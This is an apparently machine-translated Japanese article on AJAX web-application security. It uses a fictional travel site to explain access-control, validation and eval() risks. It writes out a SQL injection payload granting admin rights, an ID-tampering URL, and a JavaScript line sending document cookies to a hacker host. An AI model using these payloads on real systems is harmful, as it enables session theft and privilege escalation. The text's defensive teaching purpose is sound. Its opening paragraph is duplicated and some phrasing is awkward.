Web 開発者は、「AJAX (Asynchronous JavaScript And XML)」がもたらす興奮に気づくことはありません。 Google Suggest などのスマート Web サイトや Gmail などの Web ベースのアプリケーションを簡単に作成できるのは、主にこのテクノロジーのおかげです。しかし、AJAX アプリケーションの開発に伴い、そのいくつかの欠点が判明し、AJAX ベースのサイトが徐々に時限爆弾に陥るのと同じように、そのセキュリティ ホールが徐々に大きくなっていることがわかりました。 Web 開発者は、「AJAX (Asynchronous JavaScript And XML)」がもたらす興奮に気づくことはありません。 Google Suggest などのスマート Web サイトや Gmail などの Web ベースのアプリケーションを簡単に作成できるのは、主にこのテクノロジーのおかげです。しかし、AJAX アプリケーションの開発に伴い、そのいくつかの欠点が判明し、AJAX ベースのサイトが徐々に時限爆弾に陥るのと同じように、そのセキュリティ ホールが徐々に大きくなっていることがわかりました。
AJAX の利点
「Web アプリ」の古き良き時代には、物事は非常に単純でした。フォームに記入して「送信」ボタンをクリックすると、現在の画面が消え、少し待ってから次のページに移動します。現在では、これは当てはまりません。ユーザーが求めているのは、デスクトップ アプリケーションと同じくらいスムーズで、高速で、使いやすい Web エクスペリエンスです。
AJAX は DHTML (ダイナミック HTML) と連携して動作することが多く、そのスムーズな実行には、Web ページ内の JavaScript コードと Web サーバーがバックグラウンドでシームレスに通信できるようにする必要があります。たとえば、Google サジェストの検索ボックスに何かを入力し始めると、Web ページとサーバーがバックグラウンドでデータの交換を開始し、必要な用語がいくつか表示されます。これらすべてを、ページを更新したりボタンを押したりする必要はありません。 Gmail のようなアプリがリアルタイムのスペルチェックで優れた機能を発揮するのもこのためです。
AJAX の仕組み
AJAX の複雑な原則は、今日説明したい内容の範囲を超えているため、ここでは簡単に説明するだけに留めます。ページ上の JavaScript コードは、ユーザーに依存せずに Web サーバーに接続できます。ここでの中心的な役割は JavaScript の XMLHttpRequest オブジェクトで、これはバックグラウンドで、またはユーザーのキーストロークやクロック イベントなどのイベントによって非同期的にトリガーできます (つまり、非同期 JavaScript および XML という用語です)。
Google サジェストに「ajax」と入力すると、次のようなサーバー リクエストが表示されます。
1. www.google.com/complete/search?hl=ja&js=true&qu=aj
2. www.google.com/complete/search?hl=ja&js=true&qu=aja
3. www.google.com/complete/search?hl=ja&js=true&qu=ajax
この用語の XML 部分は少し誤解を招きやすいため、実際には意味がありません。この名前は JavaScript オブジェクトから取得され、多くの AJAX スタイル アプリケーションは XML を使用しており、あらゆるトランザクションをサーバーにリクエストできます。 JavaScript コード自体も取得して評価できます。引き続き「ajax の例」の入力を完了すると、Google のサーバーから次の応答が生成されます。
sendRPCDone(frameElement, "ajax の例", new Array("ajax の例", "ajax の例"), new Array("153,000 の結果", "177,000 の結果"), new Array(""));
これは、新しい JavaScript コードをその場でブラウザーに追加できる AJAX の能力についてのヒントを与えるはずです。ただし、最適なアプローチは XML プロトコルをバインドするようです。たとえば、Google は次のようなものを作成しました。
アヤックスの例
153,000
ajaxの例
177,000
もちろん、この XML データを適切な形式で解析することはできますが、いくつかの非常に一般的な制約や多くの厄介な IE バグの下で XML オブジェクトを非常にうまく処理できる JavaScript の能力に感謝する必要があります。
Ajax の問題を理解しやすくするために、ここでは架空の旅行会社「Times Cutting Edge Travel Company」を紹介します。 AJAX のバグに触発されて、同社の主任 Web 開発者である Max Uptime は、このようなアプリケーションを作成するために AJAX を混合することを決定し、この方法で時代を先取りしました。
AJAXの問題
AJAX セキュリティ リスクの半分以上は、サーバーに隠された脆弱性に起因します。セキュア コーディング技術を使用した優れた設計は、AJAX の安全性を高めるのに大いに役立ちます。Open Web Application Security Project (OWASP) の Web アプリケーション セキュリティ脆弱性リストのワースト トップ 10 ( www. owasp.org )。残念ながら、Max が AJAX を実装したときも、さらに多くの追加要因に直面する必要がありました。
1. 新しいテクノロジー: Max が自分のサイトを SQL データベースに接続したい場合、Google で何百万もの例を見つけました。 AJAX テクノロジがどれほど新しいテクノロジであっても、Web 上に表示される良い例はほんのわずかですが、まだ調達サイクルの比較的初期段階にあります。いくつかの困難で不必要な複雑な問題を解決するには、Max のような開発者が独立して開発する必要があります。 Max はサーバー側とクライアント側のコードを作成し、よくわからないプロトコル (特にサーバー応答用) を作成する必要がありました。これらの契約がどれほど優れたものであっても、時間内にページに反映されます。
2. 非伝統的な設計: AJAX は、そのようなアプリケーションが半分クライアントで半分サーバーであるため、従来の設計とは少し異なります。 Max の場合、彼は唯一の開発者であるため、サーバーとクライアントの両方のコードを作成できます。 2 つの異なる言語で同時に開発すると (特に初期段階では)、一方の側では優れたものでももう一方の側では機能しない可能性があるため、初歩的なコーディング エラーが発生します。 。 Max に大規模な開発チームがいる場合でも、サーバー開発チームとクライアント開発チームの間でコードが受け渡されるときに、セキュリティ コーディングの責任が発生する可能性があります。
3. スクリプト言語が多すぎる: マックスは独自の創意工夫を駆使して、世界最高の旅行チェックイン ツールを構築することにしました。現在の場所を (郵便番号、市外局番、GPS などを介して) 入力することで登録を開始すると、正確な場所を特定するための AJAX リクエストがすぐに送信されます。その時点から、どこに行きたいか、いつ出発したいか、誰と一緒に行きたいかを決める前に、利用可能なすべての旅行オプションが画面に表示されます。
この画面上のセルとコントロールはすべて AJAX 駆動であり、サーバー側とクライアント側のスクリプトでは 20 を超える異なるサーバー呼び出しが必要になる場合があります。 findairportsbylocation.aspx や detectmaxbaggageallowancebyairline.php などの小規模な個別のサーバー プログラムを想像してみてください。
Max の慎重な計画 (多用途の「オーバーロードされた」JavaScript 関数やサーバー スクリプトの作成など) がなければ、設計ごとに 40 以上の個別の部分を作成していたであろうことが明らかになりました。プログラミングが増えるとエラーやバグも増え、コードの作成、管理、テスト、更新にかかる時間が増えます。それだけでなく、クライアント側の JavaScript コードではこのようなスクリプトが多数使用されるため、正式なプログラムのテスト中に非常に忘れやすくなる傾向があります。
4. 少量の AJAX が害を及ぼさないようにしてください。このサイトは旅行を計画するためのサイトですが、Max は目的地の正確な位置と気象状況を示す衛星ビューをすぐに提供できると考えています。 . もご利用いただけます。 AJAX の大きな誘惑の 1 つは、AJAX のために AJAX を使用して、コメンテーターが解説しているかのように、最後の瞬間まで別のことをしているように見えることです。マックスは新しいアイデアを試し始めると、テストの必要性を完全に無視して、徐々に新しい機能を追加しようとします。
5. 安全でない通信: 各 AJAX 呼び出しはクライアントに少量のデータしか返さない可能性がありますが、そのデータはプライベートで機密です。 Max は、クレジット カード番号をデジタル的に検証するための便利なツールを作成できますが、データの送信に SSL 経由でプレーン テキストを使用した場合はどうなるでしょうか?画面上のデータは真の機密データではないため、SSL を無視するのは簡単です。
6. サーバー側のアクセス制御: JavaScript プログラムを使用して AJAX をトリガーすると、明らかなコーディング エラーが隠れてしまうことがよくあります。その一例がこれです。マックスが、あなたが最後に訪れた詳細な目的地に基づいてお気に入りのホテルを提供したいとします。彼は次のようになります。
showprevioushotels.aspx?userid=12345&destination=UK
もちろんこれは非常に良いことですが、悪意のあるユーザーが URL を次のように変更した場合はどうなるでしょうか。
showprevioushotels.aspx?userid=12346&destination=%
他の人のお気に入りのホテルを取得できるでしょうか (注: SQL ステートメントの % はワイルドカード文字です)。確かに、これは無害な例ですが、Max はセッション、Cookie、またはその他のトークンを使用して、データが正しいユーザーにのみ送信されることを保証する必要があります。それらはデータのほんの一部かもしれませんが、最も重要な部分である可能性があります。
7. サーバー側の検証: ここには実際には 2 つの問題があります。まず、AJAX コントロールは、サーバーへの最終送信前にユーザー入力を検証するためによく使用されます。これにより Max は麻痺し、ID に基づいてユーザーの正しい目的地を決定する alloweddestinations.php という関数を設定するため、誤った安心感を与えます。
これはサーバー側のチェックであるため、ページが最終的に送信されるときにサーバーで再度チェックを実行することを心配する必要はありません。悪意のあるユーザーは alloweddestinations.php からの応答を破壊したり、最後のリクエストを破棄したりすることはできないと想定しています。サーバーのリクエスト。
AJAX コントロールは、ユーザー自身よりも慎重にユーザー入力を検証できますが、最終的な検証は依然としてサーバー上で行われることがよくあります。
AJAX 検証に関する 2 番目の問題は、コントロール自体が検証の脆弱性の影響を受けることです。繰り返しますが、URL は隠されていることが多いため、忘れられることがよくあります。たとえば、次のように SQL インジェクションを使用してスクリプトを攻撃できるかもしれません。
showprevioushostels.aspx?userid='; ユーザーの更新 set type='admin' where userid=12345;--
これにより、システム管理者権限でログインできるようになります。もちろん、これらのテーブル名とフィールド名を取得する方法はこの記事の範囲外ですが、この状況はすでにご存知ですよね。
8. クライアント側の検証: 先ほどの Google サジェストの例では、サーバー側の応答を評価するだけで JavaScript 関数を動的に作成して実行できることがすでにわかっています。いかなる形式の検証も行わないと (クライアント側で信頼性と流暢性を確保するのは困難です)、クライアントはサーバーが要求することを単に実行します。
この場合、実際のコードの実行は通常のユーザーには決して表示されないため (つまり、「ソースを表示」できない)、悪意のあるハッカーの完全な攻撃経路が開かれる可能性があります。サーバーの応答が (Web サーバー自体上で、またはデータ転送中に) 常に改ざんされている場合、この攻撃を検出するのは困難になります。
Max は次の応答を使用して、宛先 Web ページの天気アイコンを更新します。この関数は eval() です。
updateWeatherIcon('cloudy.gif');
ただし、悪意のあるクラッカーはこの関数を次の形式に変更し、攻撃の検出をさらに困難にする可能性があります。
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies); updateWeatherIcon('cloudy.gif');
当社では、独自のサーバー上で各ユーザーのセッション ID/Cookie を追跡できるようになりました。
まとめ
AJAX および AJAX スタイルのテクノロジーが Web デザインへの明るい道であることは疑いの余地がありません。開発者は、これまで不可能だった実際の「アプリケーション」を Web 上に作成できますが、AJAX を使用する場合は Web サイトのセキュリティを確保する必要があります。
ただし、最大の脅威の 1 つは、AJAX を使用するますます高度化するクライアント側スクリプトとサーバー側スクリプトから発生します。これらのスクリプトは技術的な手段によって隠されているため、テストが直感的ではなくなります。同時に、この新しいテクノロジは、Web 開発者が優れたコーディングの基本を忘れる原因にもなるようです。アクセス制御や入力検証などの問題は解決するわけではなく、ますます多くなり、複雑化しています。
-